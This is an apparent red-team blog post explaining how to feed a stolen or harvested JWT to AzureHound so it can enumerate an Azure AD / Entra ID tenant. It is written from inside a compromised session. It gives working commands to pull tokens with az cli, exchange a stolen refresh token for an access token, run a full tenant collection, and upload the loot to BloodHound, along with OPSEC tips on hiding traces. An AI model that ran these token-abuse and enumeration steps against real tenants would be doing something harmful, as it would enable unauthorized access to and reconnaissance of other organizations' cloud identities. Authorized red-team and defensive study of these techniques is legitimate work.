If you’re doing a red team engagement and need to run AzureHound for Azure AD / Entra ID enumeration, you’ll quickly discover that the default interactive auth flow doesn’t work. You’re operating from a compromised session — you can’t pop a browser window for OAuth.

You need to pass a JWT.

The docs don’t make this obvious. Here’s how.

The Problem

AzureHound’s default auth wants interactive login. On a red team op you typically have:

  • A stolen token (from a browser cookie, token cache, or intercepted auth flow)
  • An access token obtained through a compromised service principal
  • A token from az cli on a box you already own

You need to pass that to AzureHound without interactive auth.

Getting the JWT

From az cli (if you already have a session)

# Get a token scoped to MS Graph
az account get-access-token --resource https://graph.microsoft.com --query accessToken -o tsv
# Get a token scoped to Azure Resource Manager
az account get-access-token --resource https://management.azure.com --query accessToken -o tsv

From a stolen refresh token

# Exchange a refresh token for an access token
# Replace <REFRESH_TOKEN>, <CLIENT_ID>, and <TENANT_ID>
curl -s -X POST \
  "https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token" \
  -d "grant_type=refresh_token" \
  -d "refresh_token=<REFRESH_TOKEN>" \
  -d "client_id=<CLIENT_ID>" \
  -d "scope=https://graph.microsoft.com/.default" \
  | jq -r '.access_token'

From ROADtools or TokenTacticsV2

If you’ve already pulled tokens with ROADtools or TokenTacticsV2, you’ll have JWTs in your loot. Use them directly.

Passing the JWT to AzureHound

AzureHound accepts a JWT via the -j or --jwt flag:

# Collect everything with a JWT
azurehound -j "<YOUR_JWT_TOKEN>" list -o output.json

The full collection command:

# Collect all Azure and Entra ID data
azurehound -j "<JWT>" list \
  --tenant "<TENANT_ID>" \
  -o azurehound-output.json

If your token is long (they usually are), read it from a file:

# Store token in a file, then reference it
az account get-access-token \
  --resource https://graph.microsoft.com \
  --query accessToken -o tsv > /tmp/token.txt

azurehound -j "$(cat /tmp/token.txt)" list \
  --tenant "<TENANT_ID>" \
  -o azurehound-output.json

OPSEC note: Clean up /tmp/token.txt when done. Don’t leave JWTs on disk.

Token Scope Matters

AzureHound needs specific API permissions. The token’s scope determines what data you can collect:

Scope What it collects
https://graph.microsoft.com/.default Entra ID objects — users, groups, apps, service principals
https://management.azure.com/.default Azure resources — subscriptions, VMs, storage, key vaults

For full collection, you ideally need both. Run AzureHound twice with each token, or use a token that has both scopes.

Gotchas

  1. Token expiry — JWTs expire (usually 1 hour). If AzureHound takes longer than that, the collection will fail partway through. Re-grab the token and restart.

  2. Tenant ID — If you don’t specify --tenant, AzureHound may pick the wrong one in multi-tenant environments.

  3. Permissions — A low-privilege user token still works. AzureHound will collect whatever the token’s identity can read. Even User.Read gets you a lot in most tenants.

  4. Rate limiting — Microsoft will throttle you on large tenants. AzureHound handles this, but expect slower runs on tenants with 10k+ objects.

Ingesting into BloodHound

Once you have the output:

# Upload to BloodHound CE
# Via the BloodHound API or the UI file upload

Or if you’re running BloodHound Community Edition with the API:

curl -X POST "http://<BLOODHOUND_HOST>/api/v2/file-upload" \
  -H "Authorization: Bearer <BH_API_KEY>" \
  -F "[email protected]"

Quick Reference

# One-liner: grab token + run azurehound
azurehound \
  -j "$(az account get-access-token --resource https://graph.microsoft.com -o tsv --query accessToken)" \
  list --tenant "YOUR_TENANT_ID" -o loot.json

These are field notes from red team ops. Your mileage may vary depending on target environment and token permissions.